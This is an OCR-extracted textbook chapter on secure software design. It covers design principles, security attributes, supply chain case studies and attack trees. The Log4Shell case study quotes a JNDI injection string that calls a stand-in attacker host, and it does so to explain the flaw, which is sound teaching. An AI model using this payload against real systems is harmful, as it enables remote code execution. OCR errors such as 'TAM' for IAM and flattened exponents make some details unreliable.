Chapter 1

Foundations of Secure Software De-

sign and Supply Chain Assurance

,_{ Learning Objectives J

Upon completion of this chapter, you will be able to:

1. Distinguish between the functional goals of software security and the confi-
dence metrics of software assurance.

2. Apply the Parkerian Hexad to analyze security incidents beyond the tradi-
tional CIA triad.

3. Apply the eight Saltzer and Schroeder design principles to modern archi-
tectural challenges such as containerization, cloud computing, and identity
management.

4. Construct hierarchical attack trees using AND/OR logic and perform quan-
titative probability-based risk analysis.

5. Apply STRIDE analysis to decompose system architectures into threat land-
scapes.

6. Design automated security gates within a CI/CD pipeline using the CAMS
model.

7. Evaluate supply chain integrity using SBOM standards (SPDX vs. Cy-
cloneDX) and SLSA build track levels.

8. Select and apply appropriate security tools at each phase of the development
lifecycle.

1.1 Introduction: The Imperative for Secure Software

Development

The contemporary digital landscape presents a fundamental paradox: while soci-
ety’s reliance on software infrastructure has become absolute, the trustworthiness of

that software remains fragile. From financial systems processing trillions of dollars
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daily to healthcare records containing intimate patient details, software governs the
critical machinery of modern civilization. Yet software engineering has historically
prioritized functionality, time-to-market, and performance over security [24]. This
misalignment has resulted in a systemic vulnerability crisis where software functions
as intended for legitimate users but fails catastrophically under adversarial condi-

tions.

This chapter establishes the rigorous theoretical and practical foundations neces-
sary to transition from merely writing code to engineering defensible systems. We
reject the notion that security is a feature to be added post-hoc; rather, it is an
emergent property of sound architectural design and disciplined lifecycle manage-

ment [35].

1.1.1 The Complexity Challenge

Modern software operates at scale and complexity unimaginable a generation ago.
A typical enterprise application might include millions of lines of code, hundreds of
third-party libraries, dozens of microservices, and integration with numerous exter-
nal APIs. Each component represents a potential attack vector, and interactions
between components create emergent security properties that are difficult to predict

or analyze.

Attack Vector N

An attack vector is any pathway or method by which an attacker can gain

unauthorized access to a system. Attack vectors include network ports, user
interfaces, APIs, email attachments, removable media, and any other channel

through which data enters or leaves a system [6].

Consider the challenge of software dependencies: a simple Node.js application
might directly reference 20 packages, but those packages have their own dependen-
cies, which have further dependencies. Research by Zimmermann et al. found that
the average npm package has 79 transitive dependencies, and a single maintainer
can impact thousands of packages [1]. A single compromised package anywhere in

this tree can affect every application that includes it.

Figure 1.1 illustrates how transitive dependencies create hidden attack surfaces
that developers may not be aware of.



1 Foundations of Secure Software Design and Supply Chain Assurance

Your App
Lodash Axios
bod . prototype P .
[ 0 y—parser}[ cookie ] pollution ollow-redirects
qs CVE
I 2022-0155
Figure 1.1: Transitive dependency tree showing hidden vulnerabilities (highlighted in red).

Your application directly imports only three packages, but inherits vulnerabil-
ities from deeply nested dependencies you may not know exist.

Case Study: The event-stream Incident (2018) |

In November 2018, the security community discovered that a popular npm
package called event-stream, downloaded over two million times per week,
had been compromised [1].

Attack Timeline: The original maintainer, overwhelmed by unpaid open-
source maintenance burden, transferred repository ownership to a new con-
tributor who had shown interest. This new maintainer added a dependency
on flatmap-stream, which contained obfuscated malicious code targeting the
Copay Bitcoin wallet to steal cryptocurrency private keys.

Key Lessons:

e The software supply chain extends beyond code to include human maintainers
e Transitive dependencies can introduce vulnerabilities invisibly

e Attackers are patient—willing to spend months building trust before striking

& J

Security Tools: Dependency Vulnerability Scanning \

To detect vulnerable dependencies before they reach production, organizations

should integrate Software Composition Analysis (SCA) tools into their devel-

opment workflow:

e Snyk — Real-time vulnerability database with IDE integration and auto-
mated pull request fixes. Supports npm, Maven, PyPI, and 20+ ecosystems.

¢ OWASP Dependency-Check — Free, open-source scanner that identi-
fies known CVEs in project dependencies. Integrates with Maven, Gradle,

Jenkins.
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e GitHub Dependabot — Automated dependency updates with security
advisories. Native GitHub integration for automatic pull requests.

e npm audit / yarn audit — Built-in vulnerability scanning for JavaScript
projects. Zero configuration required.

Integration Point: SCA tools should run automatically on every pull request

and block merges when high-severity vulnerabilities are detected.

1.1.2 The Stakes: Why Security Failures Matter

The consequences of security failures extend far beyond technical inconvenience.
Cybersecurity Ventures projects cybercrime damages will reach $10.5 trillion annu-
ally by 2025—exceeding the GDP of every country except the United States and
China [23]. Individual incidents can be devastating: the average cost of a data
breach exceeded $4.45 million in 2023, with healthcare breaches averaging nearly
$11 million.

Case Study: SolarWinds Supply Chain Attack (2020)

In December 2020, cybersecurity firm FireEye discovered that it had been
breached by a sophisticated attacker. Investigation revealed one of the most
consequential supply chain attacks in history, affecting an estimated 18,000
organizations including multiple U.S. government agencies |2, 3].

The Attack Mechanism: Attackers, later attributed to Russian intelligence
services (SVR), compromised SolarWinds’ build system and injected malicious
code (SUNBURST) during the compilation phase—mnot into the source code
itself. Developers reviewing source code saw nothing suspicious; malware ap-
peared only in compiled binaries.

The compromised Orion updates were digitally signed with SolarWinds’ legit-
imate code signing certificate, making them appear authentic. Organizations
installing routine updates unknowingly installed backdoors.

Why It Worked: The attack exploited cascading trust relationships:

1. Organizations trusted SolarWinds as a vendor

2. SolarWinds’ build system trusted its compilation process

3. Code signing systems trusted whoever had signing key access

4. Each link in this trust chain became a vulnerability

Lessons Learned: Securing your own code is insufficient—you must verify

the integrity of your entire software supply chain, including build systems,
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dependencies, and delivery mechanisms. This attack directly motivated the

development of the SLSA framework discussed in Section 1.6.3.

Case Study: Log4Shell: CVE-2021-44228 (2021) |

On December 9, 2021, a critical vulnerability was disclosed in Apache Log4j, a
ubiquitous Java logging library. Log4Shell received the maximum CVSS sever-
ity score of 10.0 [4] and triggered a global emergency response [5].

What is Log4j? Logdj is a logging library embedded in everything from
Apache web servers to Minecraft game servers, from enterprise software to IoT
devices.

The Vulnerability: Log4j’s “message lookup substitution” feature allowed
dynamic content in log messages. An attacker could send a string like
${jndi:1dap://attacker.com/exploit} to any logged input—a username
field, search box, or HTTP header. Log4j would connect to the attacker’s
server and execute arbitrary code.

The SBOM Connection: Organizations maintaining Software Bills of Ma-
terials (SBOMs) could search for Log4j and begin remediation within hours.
Organizations without SBOMs spent days or weeks manually auditing systems,
often discovering Log4j as a transitive dependency four levels deep. This inci-
dent became a primary catalyst for the U.S. Executive Order mandating SBOMs
for software sold to the federal government [39].

Lessons Learned:

1. A single widely-used component vulnerability can have global impact

2. Knowing what software you run is a prerequisite for security

3. Features that seem helpful can become attack vectors

4. Supply chain security includes the entire transitive dependency tree

1.2 Software Security versus Software Assurance

To engineer secure systems, one must first possess a precise lexicon. “Security” and
“assurance” are often used interchangeably, yet they represent distinct dimensions of

a system’s quality profile [24].
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1.2.1 Defining the Distinction

|

Software Security \

Software Security is the property of software that enables it to resist attacks.
It encompasses the engineering practices, technical controls, and functional re-
quirements designed to protect software and data from unauthorized access,
use, disclosure, disruption, modification, or destruction [6]. Security is imple-
mented through mechanisms such as encryption algorithms, firewalls, access

controls, and input validation.

Software Assurance \

Software Assurance (SwA) is the level of confidence that software functions
as intended and is free of vulnerabilities, whether intentionally or unintention-
ally introduced throughout its lifecycle. Assurance is not a binary state but a

degree of confidence based on evidence [24].

J

This distinction matters because proving a system is 100% secure is theoretically

impossible for non-trivial software. Therefore, we seek assurance rather than abso-

lute security. Assurance derives from evidence generated through planned activities:

code reviews, penetration testing, static analysis, and operational monitoring.

Security vs. Assurance ~

While security is about the presence of defenses, assurance is about the ev-
idence of their efficacy. A system with many security features but no testing
has low assurance. A system with fewer but well-verified features may have

higher assurance.

J

Figure 1.2 illustrates the relationship between security controls and assurance

evidence.

Security Tools: Assurance Verification Tools

Different tools provide evidence for different assurance activities:
Static Analysis (Verification):

e SonarQube — Code quality and security analysis for 25+ languages
e Semgrep — Lightweight, customizable pattern-based static analysis
e Checkmarx — Enterprise SAST with compliance reporting
Dynamic Testing (Validation):
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Figure 1.2: Security controls (left) generate assurance evidence (right) through verification
activities. Confidence in system security increases as more evidence validates
that controls are implemented correctly and functioning as intended.

e OWASP ZAP — Free automated web application security scanner

e Burp Suite — Professional web vulnerability scanner with manual testing
support

e Nuclei — Fast, template-based vulnerability scanner

Continuous Monitoring (Operational Assurance):

e Falco — Runtime security monitoring for containers/Kubernetes

e OSSEC — Host-based intrusion detection and file integrity monitoring

e Wazuh — Unified XDR and SIEM for threat detection

1.2.2 Beyond the CIA Triad: The Parkerian Hexad

Before we can protect software systems, we must define precisely what we are pro-
tecting. Security is not a single property but a collection of distinct attributes, each
requiring different defensive strategies. The foundational framework for understand-
ing these attributes is the CIA Triad [6], which has guided information security

practice for decades.
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The CIA Triad: Foundation of Security Objectives

Confidentiality

Confidentiality ensures that information is not disclosed to unauthorized en-
tities. A system maintains confidentiality when only those with legitimate need

can access sensitive data.

Why It Matters: Unauthorized disclosure can result in competitive disadvantage
(trade secrets), regulatory penalties (HIPAA, GDPR), identity theft (PII exposure),
or national security breaches (classified information).

Implementation in Software Systems:

e Design: Classify data by sensitivity; apply need-to-know access control; minimize
data collection (data minimization principle)

e Implementation: Encrypt data at rest (AES-256 [8]) and in transit (TLS 1.3 [14]);
implement Role-Based Access Control (RBAC); use parameterized queries to pre-

vent SQL injection disclosure; sanitize error messages to avoid information leakage

m )

Integrity ensures that data is not modified by unauthorized means, whether

through malicious tampering or accidental corruption. A system maintains
integrity when data remains accurate, consistent, and trustworthy throughout

its lifecycle.

\ J

Why It Matters: Compromised integrity can corrupt financial transactions,
alter medical records with life-threatening consequences, or inject malicious code
into software updates (as in SolarWinds).

Implementation in Software Systems:

e Design: Define authoritative data sources; implement input validation at trust
boundaries; use immutable data structures where appropriate

¢ Implementation: Apply cryptographic hashing (SHA-256 [9]) to detect tamper-
ing; use digital signatures for non-repudiation; implement database constraints
and referential integrity; deploy file integrity monitoring (AIDE, OSSEC); use

version control with signed commits

Availability

Availability ensures that systems and data are accessible to authorized users
when needed. A system maintains availability when legitimate requests are

served within acceptable time frames.
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Why It Matters: Unavailable systems halt business operations—e-commerce
sites lose revenue, hospitals cannot access patient records, and critical infrastruc-
ture fails. Gartner estimates downtime costs average $5,600 per minute for enter-
prises [10].

Implementation in Software Systems:

e Design: Eliminate single points of failure; design for horizontal scaling; implement
circuit breakers and graceful degradation; plan capacity for peak loads plus attack
traffic

e Implementation: Deploy redundant systems across availability zones; use load
balancers and CDNs; implement rate limiting and DDoS mitigation [11]; design
health checks and auto-recovery; maintain tested backup and disaster recovery

procedures

Limitations of the CIA Triad

While foundational, the CIA Triad fails to capture important security dimensions
that software architects must address. Consider these scenarios where CIA analysis

proves incomplete:

Example: Scenarios Where CIA Falls Short N

Scenario 1 — Stolen Encrypted Laptop: A laptop containing encrypted,

non-sensitive data is stolen. Confidentiality is preserved (encryption holds),
integrity is preserved (data unmodified), availability is unaffected (backups ex-
ist). Yet the organization has suffered a security incident—they lost physical
control of hardware that could be attacked offline indefinitely.

Scenario 2 — Forged but Unmodified Message: An attacker crafts a
fraudulent wire transfer request that perfectly mimics legitimate format and
content. The message has integrity (it was not modified after creation), but it
lacks authenticity—it did not originate from a legitimate source.

Scenario 3 — Available but Unusable Data: A database remains online
and unbreached, but the decryption key is lost. Data has confidentiality (still
encrypted), integrity (unmodified), and availability (accessible on disk), but

zero utility—it cannot serve any business purpose.

The Parkerian Hexad

Security researcher Donn B. Parker recognized these gaps and proposed the Parke-

rian Hexad, extending the CIA Triad with three additional attributes essential for
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comprehensive security assurance.

Table 1.1: The Parkerian Hexad: Expanded Security Attributes

Attribute Definition Implementation Mechanisms

Confidentiality Restriction of access to  Encryption at rest (AES-256), TLS 1.3

authorized entities in transit, access control lists, data mask-
ing
Integrity Prevention of unautho- SHA-256 hashing, digital signatures,
rized modification file integrity monitoring, database con-
straints

Availability ~ Reliability of access Redundancy, load balancing, DDoS mit-

and uptime igation, auto-scaling, disaster recovery

Possession Physical or logical con- Device tracking, remote wipe capability,

trol over assets (dis- hardware security modules, asset inven-
tinct from data se- tory
crecy)

Authenticity ~ Veracity of origin and PKI certificates, multi-factor authenti-

identity claims (dis- cation, digital signatures, DMARC for

tinct from integrity) email
Utility Usefulness of data for Format standardization, key escrow,
intended purpose documentation, data recovery proce-

dures

Understanding the New Attributes

Possession vs. Confidentiality: You can lose possession of encrypted data
without losing confidentiality (stolen encrypted drive). Conversely, you can
maintain possession while confidentiality is breached (insider reads data on
your server).

Authenticity vs. Integrity: A message can have integrity (unaltered since
creation) but lack authenticity (forged origin). Integrity asks “was this
changed?” while authenticity asks “who created this?”

Utility vs. Availability: Data can be available (on disk, accessible) but lack
utility (encrypted without key, corrupted format, incompatible encoding). Ran-

somware destroys utility while technically preserving availability.

10
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Case Study: Colonial Pipeline Ransomware (2021) |

In May 2021, the Colonial Pipeline, supplying 45% of U.S. East Coast fuel, was

struck by DarkSide ransomware. The attack encrypted billing systems, forcing

a six-day operational shutdown.

Parkerian Hexad Analysis:

¢ Confidentiality: Violated—attackers exfiltrated 100GB of data before en-
cryption

e Integrity: Technically preserved—data was transformed (encrypted), not
corrupted

e Availability: Technically preserved—data existed on servers, no hardware
failure

e Possession: Maintained—Colonial retained physical control of infrastruc-
ture

e Authenticity: Not directly targeted in this attack

e Utility: Completely destroyed—encrypted data had zero business value

Why This Analysis Matters: The CIA Triad struggles to explain why Colo-

nial paid $4.4 million ransom when availability was preserved. The Parkerian

Hexad clarifies: Utility destruction, not availability loss, caused the $4.4 million

ransom and estimated $2.2 billion economic impact. Understanding this dis-

tinction guides defensive investment—protecting utility requires offline backups

tested for restoration, not just redundant online systems.

1.3 Principles of Secure Design: Saltzer and Schroeder

The case studies in Section 1.1 reveal a troubling pattern: security failures rarely
stem from exotic attacks or unknown vulnerabilities. Heartbleed exploited a sim-
ple bounds-checking error. The Debian OpenSSL disaster resulted from a well-
intentioned code cleanup. Target’s breach succeeded because an HVAC vendor had
excessive network access. SolarWinds fell to a compromised build process that lacked
integrity verification. These incidents share a common root cause: flawed design de-
cisions made before any code was written.

Tools and technologies evolve rapidly—today’s cutting-edge framework becomes
tomorrow’s legacy system. Yet the fundamental challenges of building secure systems
remain constant: How do we limit damage when components fail? How do we prevent
unauthorized access without impeding legitimate use? How do we maintain security
as systems grow in complexity? Answering these questions requires principles that

transcend specific technologies.

11
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Security cannot be “bolted on” after implementation. A system designed with
excessive privilege, shared mechanisms, or complex interdependencies will remain
vulnerable regardless of how many firewalls, encryption layers, or monitoring tools
are added later. As McGraw observes, approximately 50% of security defects are
architectural flaws that no amount of code-level analysis can detect [24]. The earlier
these flaws are introduced, the more expensive they become to remediate—a design
flaw discovered in production can cost 100 times more to fix than one caught during
design review [35].

The principles presented in this section serve as a design-time checklist: before
writing code, architects should verify their design against each principle. When
a principle is violated, the architect must either redesign to comply or explicitly
document the accepted risk and compensating controls.

In 1975, Jerome Saltzer and Michael Schroeder published “The Protection of In-
formation in Computer Systems” [40], outlining eight design principles for secure
system architecture. These principles (discussed next) remain valid because they
address fundamental relationships between subjects (users, processes, services) and
objects (data, resources, APIs)—relationships that persist regardless of whether the
system runs on a 1975 mainframe, a 2010 virtual machine, or a 2024 Kubernetes

cluster.

1.3.1 Economy of Mechanism

Economy of Mechanism

Keep the design as simple and small as possible. Complexity is the primary

vector for vulnerability [40].

Rationale: Complex systems contain more code, more interactions, and more
state transitions—all increasing bug probability. Security mechanism errors are in-
sidious because they often do not affect normal functionality; a broken auth check

might “work” perfectly until an attacker exploits it.

Case Study: OpenSSL Heartbleed (CVE-2014-0160) |

In April 2014, Heartbleed was disclosed in OpenSSL, affecting approximately

two-thirds of web servers.
The Vulnerability: OpenSSL’s “heartbeat” keep-alive feature trusted clients
to accurately report message length. An attacker claiming to send 64KB while

sending a few bytes caused OpenSSL to return 64KB of memory—potentially

12
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including private keys, passwords, and session tokens.

The Complexity Connection: OpenSSL had grown to 500,000 lines of dense,
performance-optimized C code. The heartbeat feature was optional—most de-
ployments did not need it. Following economy of mechanism: eliminate unnec-
essary features; implement necessary features simply.

Principle Applied: Had OpenSSL followed economy of mechanism, the heart-
beat extension would either not exist or would be isolated in a separate, optional

module with minimal trusted code.

1.3.2 Fail-Safe Defaults

Fail-Safe Defaults

Base access decisions on permission rather than exclusion. The default state

must be denial of access (allow-listing, not block-listing) [40].

Rationale: Block-listing requires enumerating every possible attack—an impos-
sible task. If the block-list is incomplete, unauthorized access succeeds. With allow-
listing, incomplete configuration may deny legitimate access but does not compro-

mise security. The system fails safely—toward protection rather than exposure.

Example: Fail-Safe Default Implementations \

Firewalls: Secure configuration implements “DROP ALL” as the final rule.
Specific rules explicitly permit necessary traffic (443/HTTPS, 22/SSH). Un-
matched traffic is dropped. An incomplete rule set blocks legitimate traffic

(annoying but safe) rather than permitting malicious traffic (catastrophic).
Cloud TAM: In AWS/Azure/GCP, new users and roles have zero privileges
by default. They cannot access any resource until TAM policy explicitly grants
permission. This is why new AWS accounts feel restrictive—the platform honors
fail-safe defaults.

Mobile Permissions: iOS and Android do not grant camera, microphone, or
location access by default. Each permission requires explicit user grant. A new
app starts with no sensitive capabilities.

API Authentication: A well-designed API rejects requests missing valid cre-
dentials with 401 Unauthorized, rather than assuming anonymous access is

intended.

13
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/A Common Fail-Safe Violation ~

A frequent anti-pattern: configuring “allow all” during development for con-

venience, then forgetting to tighten restrictions before production deployment.
Many breaches result from permissive defaults that were never hardened. The
Log4Shell vulnerability was exacerbated because JNDI lookups were enabled by
default—had they been disabled by default, the attack surface would have been

dramatically smaller.

& J

Principle Applied: When designing a new feature, ask: “What happens if this
is misconfigured or incompletely configured?” If the answer is “unauthorized access,”
the default is unsafe. Redesign so that misconfiguration results in denial of service

(recoverable) rather than security breach (potentially catastrophic).

1.3.3 Complete Mediation

Complete Mediation

Every access to every object must be checked for authority. Never rely on cached

permissions or assume past authorization implies current authorization [40].

Rationale: Authorization state changes over time—users are terminated, permis-
sions are revoked, sessions expire, roles change. If access checks occur only at initial
connection or are cached indefinitely, revocations become ineffective. An attacker

who obtains a valid session can exploit the gap between revocation and enforcement.

Example: Complete Mediation in Practice \

JWT Token Validation: Stateless JWTs are convenient but violate complete

mediation—a revoked user’s token remains valid until expiration. Mitigations
include short expiration times, token blacklists, or refresh token rotation.
Database Row-Level Security: Rather than filtering results in application
code (which can be bypassed), row-level security policies in PostgreSQL or
Oracle enforce access checks at the database layer for every query.
Kubernetes RBAC: Every API request to the Kubernetes control plane is
authenticated and authorized, regardless of source. Even internal components
must present valid credentials.

OAuth Scope Validation: Each API endpoint should validate that the pre-

sented token contains the required scopes, not just that the token is valid.

14
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Zero Trust Equals Complete Mediation |

The modern “Zero Trust” security paradigm—“never trust, always verify’—is

essentially a rebranding of complete mediation for network architecture. Every
request, regardless of network origin (internal or external), must be authenti-
cated and authorized. The network perimeter is no longer a trust boundary;

every service boundary is.

& J

Principle Applied: Audit your system for cached authorization decisions. Ses-
sion tokens, API keys, and role assignments should have bounded lifetimes. Imple-
ment mechanisms to force re-authentication when permissions change. Design as if

every request could be the first from a potentially malicious actor.

1.3.4 Open Design

Open Design

Security should not depend on design secrecy. Security should reside in the

secrecy of keys, not algorithms [40]. (Also known as Kerckhoffs’s Principle)

Rationale: Design secrecy is fragile—reverse engineering, insider leaks, and doc-
umentation theft can reveal “secret” designs. History repeatedly demonstrates that
proprietary, secret algorithms (DVD CSS, GSM A5/1, Mifare Classic) are broken
once examined by the security community. Open designs benefit from scrutiny by
thousands of researchers worldwide, making them more likely to identify and fix

flaws than a small internal team operating in secrecy.

Example: Open Design Success Stories N

AES Encryption: The Advanced Encryption Standard was selected through a

public, multi-year competition. Candidate algorithms were published, attacked
by researchers worldwide, and the strongest survivor (Rijndael) was standard-
ized. Two decades later, AES remains unbroken.

TLS Protocol: Transport Layer Security is fully specified in public RFCs.
Implementations are open-source (OpenSSL, BoringSSL, LibreSSL). Vulnera-
bilities like BEAST, POODLE, and Heartbleed were found precisely because
the protocol and implementations were open to scrutiny.

Signal Protocol: The encryption protocol used by Signal, WhatsApp, and
others is fully documented and has been formally verified by academic re-

searchers. Its security derives from mathematical properties, not secrecy.

15
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A Open Design Clarification

Open design does NOT mean publishing passwords, private keys, or business

data. It means your system’s security should remain intact even if an attacker
knows exactly how it works—stopped only by lacking the secret key. The design
is public; the keys are secret.

Similarly, open design does not require open-source implementation, though
open-source provides additional assurance through code review. A proprietary

implementation of a public algorithm (like AES) still honors open design.

\ J

Principle Applied: Be suspicious of any security mechanism described as “pro-
prietary” or “secret.” Ask: “Would this system remain secure if an attacker had
complete documentation?” If the answer is no, the security is illusory. Prefer stan-

dardized, publicly analyzed algorithms and protocols over custom solutions.

1.3.5 Separation of Privilege

Separation of Privilege

A mechanism requiring two or more independent conditions is more robust than

one requiring a single condition [40].

Rationale: Single points of control become single points of failure. If one key,
one password, or one administrator can authorize any action, then compromising
that single factor grants complete access. Requiring multiple independent condi-
tions means an attacker must compromise multiple independent systems or actors—

exponentially harder than compromising one.

Case Study: Debian OpenSSL Entropy Disaster (2006—2008)

In 2006, a Debian maintainer noticed a memory analysis tool flagging OpenSSL
code as using uninitialized memory. The maintainer “fixed” this by removing
two lines of code [36].

The Catastrophe: Those lines were critical for entropy collection—gathering
randomness for cryptographic keys. The “fix” reduced key randomness from
2128 to 215 (32,768) possible keys. For two years, every SSL certificate and
SSH key generated on Debian/Ubuntu systems was trivially breakable by brute
force.

The Separation of Privilege Failure: A single maintainer could commit

security-critical changes to cryptographic code without review by a cryptog-

16
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raphy expert. No second pair of eyes, no domain expertise requirement, no
secondary approval.

Principle Applied: Security-critical code paths should require approval from
multiple reviewers with relevant domain expertise. Modern practices like
GitHub’s CODEOWNERS files and required reviews from security teams im-

plement separation of privilege in code review workflows.

& J

Example: Separation of Privilege Implementations N

Multi-Factor Authentication: Requires something you know (password)
AND something you have (phone/token) AND/OR something you are (bio-

metric). Compromising one factor is insufficient.

Nuclear Launch Codes: The “two-person rule” requires two authorized offi-
cers to authenticate independently. Neither can launch alone.

Hardware Security Modules (HSM): Signing keys for code or certificates
are often split using Shamir’s Secret Sharing, requiring M-of-N key holders to
reconstitute the key. No single person possesses the complete key.

Database Migrations: Production database changes require approval from
both a developer and a DBA, with automated checks verifying the migration is

reversible.

1.3.6 Least Privilege

Least Privilege

Every program and user should operate using the minimum privileges necessary

to complete the job, and no more [40].

Rationale: Excessive privileges create unnecessary risk. If a component is com-
promised, the attacker gains whatever privileges that component possessed. By
minimizing privileges, we minimize the blast radius of any single compromise. A
web server that only needs to read static files should not run as root; a microser-
vice that only queries one database table should not have credentials for the entire

database.

Case Study: Target Data Breach (2013)

The Target breach affected 40 million credit cards and 70 million customer
records [15]. The breach originated through Fazio Mechanical, an HVAC con-

17
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tractor with network access for remote monitoring of refrigeration systems.
The Least Privilege Failure: Fazio’s credentials, intended for HVAC mon-
itoring, permitted network traversal to point-of-sale (POS) systems handling
payment card data. There was no business reason for HVAC vendor credentials
to reach payment systems. The network was flat—once inside, attackers could
move laterally without restriction.

Principle Applied: Third-party access must be scoped to the minimum re-
quired resources. Network segmentation should technically enforce boundaries,
not merely document them in policy. Fazio should have had access only to
HVAC systems on an isolated network segment with no route to POS sys-
tems. Modern implementations use micro-segmentation, where each workload

has firewall rules permitting only documented, necessary communication paths.

u J

Example: Least Privilege Implementations ~

Container Security Contexts: Kubernetes pods should run as non-root

users, drop unnecessary Linux capabilities, and use read-only root filesystems
where possible.

Cloud TAM Policies: Instead of s3:+ (all S3 permissions), grant
s3:GetObject on specific bucket ARNs. Instead of Resource: "*" specify
exact resource ARN.

Database Users: Create separate database users for each microservice, each
with permissions only on the tables that service requires. The orders service
cannot query the users table.

Service Accounts: CI/CD pipelines should use short-lived, narrowly-scoped

credentials rather than long-lived admin tokens.

1.3.7 Least Common Mechanism

Least Common Mechanism

Minimize mechanisms shared between multiple users or processes [40]. Shared

mechanisms create information leakage paths and single points of failure.

Rationale: When components share mechanisms (memory, caches, communica-
tion channels, libraries), a flaw or compromise in the shared mechanism affects all
users. Isolation prevents error and attack propagation. The more users share a
mechanism, the more attractive a target it becomes and the greater the impact of

its compromise.
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Example: Least Common Mechanism in Practice N

Cloud Multi-tenancy: The hypervisor is a shared mechanism across all VMs

on a physical host. VM escape vulnerabilities [18] are catastrophic because they
break tenant isolation, allowing one customer to access another’s data. Cloud
providers invest heavily in hypervisor security precisely because it is maximally
shared.

Browser Process Isolation: Modern browsers run each tab in a separate OS
process with its own memory space. A malicious website exploiting a renderer
vulnerability cannot directly read memory from other tabs (like your banking
session). This isolation is why Chrome uses significant RAM—each process has
overhead, but the security benefit justifies the cost.

Microservice Databases: Each microservice should have its own database
(or at minimum, its own schema with separate credentials) rather than sharing
a single monolithic database. If the orders service is compromised, the attacker
gains access to order data, not user credentials or payment information.
Secrets Management: Rather than environment variables shared across all
containers in a pod, use mounted secrets with different secrets for different con-
tainers. A compromised sidecar cannot access the main application’s database

credentials.

\ J/

Principle Applied: Audit shared components in your architecture. For each
shared mechanism, ask: “If this is compromised, how many systems are affected?”
High-impact shared mechanisms require proportionally higher security investment—

or architectural changes to reduce sharing.

1.3.8 Psychological Acceptability

Psychological Acceptability

Security mechanisms must be easy to use correctly. The human interface should

enable users to routinely and automatically apply protection mechanisms [40].

Rationale: Humans are part of every security system, and humans optimize for
convenience. Cumbersome security will be bypassed. Users will write passwords on
sticky notes, disable blocking security tools, share credentials to avoid delays, prop
open secured doors, or find creative workarounds to any obstacle between them and

their work. Security that fights human nature loses.
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Example: Psychological Acceptability Solutions

Password Policy Evolution: Traditional policies (12+ characters, mixed
case, numbers, symbols, 90-day rotation) led to predictable patterns
(Passwordl!, Password2!, Summer2024!) and passwords written on sticky
notes. NIST SP 800-63B now recommends longer passphrases without com-
plexity requirements and rotation only when compromise is suspected—aligning
security requirements with human memory capabilities.

Biometrics and Passkeys: TouchID, FacelD, and FIDO2 Passkeys provide
strong authentication with minimal user effort—just a glance or touch. By
making “the easy way” also “the secure way,” they achieve both security and
usability. Adoption rates far exceed traditional MFA because users prefer the
experience.

Single Sign-On (SSO): SSO centralizes authentication risk (a compromised
IdP affects all connected applications) but dramatically improves security in
practice. Users log in once rather than managing dozens of credentials, reducing
password reuse, credential fatigue, and phishing susceptibility. The centralized
risk is manageable; distributed weak passwords are not.

Git Commit Signing: Requiring signed commits is more acceptable when
tooling handles key management automatically (like GitHub’s web interface

signing with verified emails) versus requiring manual GPG key management.

Security Usability Paradox

The most secure system that users constantly circumvent is less secure in
practice than a somewhat less restrictive system users willingly adopt. A 40-
character password policy that causes everyone to write passwords down is
weaker than a 16-character policy users can actually memorize. Security archi-
tecture must account for human factors, not pretend humans will behave like

disciplined automatons.

J

Principle Applied: Before deploying a security control, conduct usability testing

with actual users. Watch for workarounds. If users immediately seek ways to bypass

the control, redesign it. The goal is a secure path that is also the path of least

resistance. When security and convenience align, security wins by default.

1.

3.9 Summary: The Principles as a Design Checklist

Table 1.2 summarizes the eight principles as questions to ask during design review.
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Table 1.2: Saltzer and Schroeder Design Review Checklist

Principle Design Review Question
Economy of Mech- Is this the simplest design that meets requirements? Can any
anism component be eliminated or simplified?

Fail-Safe Defaults

Complete Media-
tion

Open Design

Separation of
Privilege

Least Privilege

Least Common
Mechanism

Psychological Ac-
ceptability

What happens if configuration is incomplete or incorrect?
Does the system fail open (insecure) or closed (secure)?

Is every access checked, or are some cached/assumed? What
happens when permissions are revoked?

Would this remain secure if the design were public? Does
security depend on secrecy of anything other than keys?

Can any single actor authorize sensitive operations alone?
What happens if one credential is compromised?

Does each component have only the permissions it needs?
What is the blast radius if this component is compromised?

What mechanisms are shared across trust boundaries? If a
shared component fails, how many systems are affected?

Will users actually follow this security process? What

workarounds will they invent?

multiple independent safeguards, each limiting the impact of failures in others. No
single vulnerability becomes catastrophic because other principles contain the dam-

age.

1.4 Threat Modeling and Attack Trees

Applying secure design principles requires an adversarial mindset. Threat modeling
systematically identifies potential threats, vulnerabilities, and attack vectors before
code is written [21]. The Software Engineering Institute has catalogued numerous
threat modeling methodologies [19], with attack trees and STRIDE being among the
most widely adopted.

1.4.1 Attack Trees: Structure and Logic

Attack trees, introduced by Bruce Schneier in 1999 [27], organize attacks hierarchi-
cally, making complex threat scenarios comprehensible and analyzable.
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Attack Tree )

An Attack Tree is a hierarchical diagram where:

e Root node: Attacker’s ultimate goal

e Intermediate nodes: Sub-goals or steps toward the goal

e Leaf nodes: Specific atomic attack actions with assigned success probabili-
ties

The tree structure shows how different attack paths can achieve the same ob-

jective.

Attack tree logic uses Boolean operators:
e AND nodes: All child nodes must succeed—probabilities multiply
e OR nodes: Any single child node is sufficient—use probability union

Figure 1.3 presents a complete attack tree for compromising a user account, an-
notated with success probabilities derived from industry research and threat intelli-

gence.

Compromise
User Account
(GOAL)

Obtain Session
Credentials Hijack
[OR] [OR]
/ Y \
Username Credential Keylogg XSS Cookie Network SQLi Auth
+ Password Stuffing Malwa. Theft MITM Bypass
[AND] P =0.15 P=0.4 P=0.12 P =0.05 P =0.10

Scrape
Profiles
P =0.90

Phishing
P =0.25

Figure 1.3: Attack tree for “Compromise User Account” with success probabilities. Blue
nodes are OR gates (any child suffices); green nodes are AND gates (all children
required). Leaf node probabilities are derived from threat intelligence: phish-
ing success rates [20], credential stuffing effectiveness given password reuse
rates [6], and vulnerability exploitation rates [29)].

1.4.2 Interpreting Attack Trees: Probability Analysis

The power of attack trees lies in their ability to quantify risk and guide defensive
investments. By assigning probabilities to leaf nodes and propagating them through

the tree, security architects can identify the most likely attack paths and evaluate
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the impact of proposed mitigations.

Probability Sources: Leaf node probabilities should be derived from empirical

data:

Example: Calculating Attack Path Probabilities \

Phishing success (P = 0.25): Industry studies show 20-30% of users click
phishing links in simulated exercises [20]

Credential stuffing (P = 0.15): With 60% password reuse rates and breach
databases containing billions of credentials, automated attacks succeed against
roughly 0.1-2% of accounts; for targeted attacks, P ~ 0.15 [6]

Username scraping (P = 0.90): Email addresses and usernames are often
publicly available via LinkedIn, corporate websites, and data breaches

XSS exploitation (P = 0.12): Depends on application security posture; OWASP
reports XSS in 67% of applications, but successful cookie theft requires additional
conditions [20]

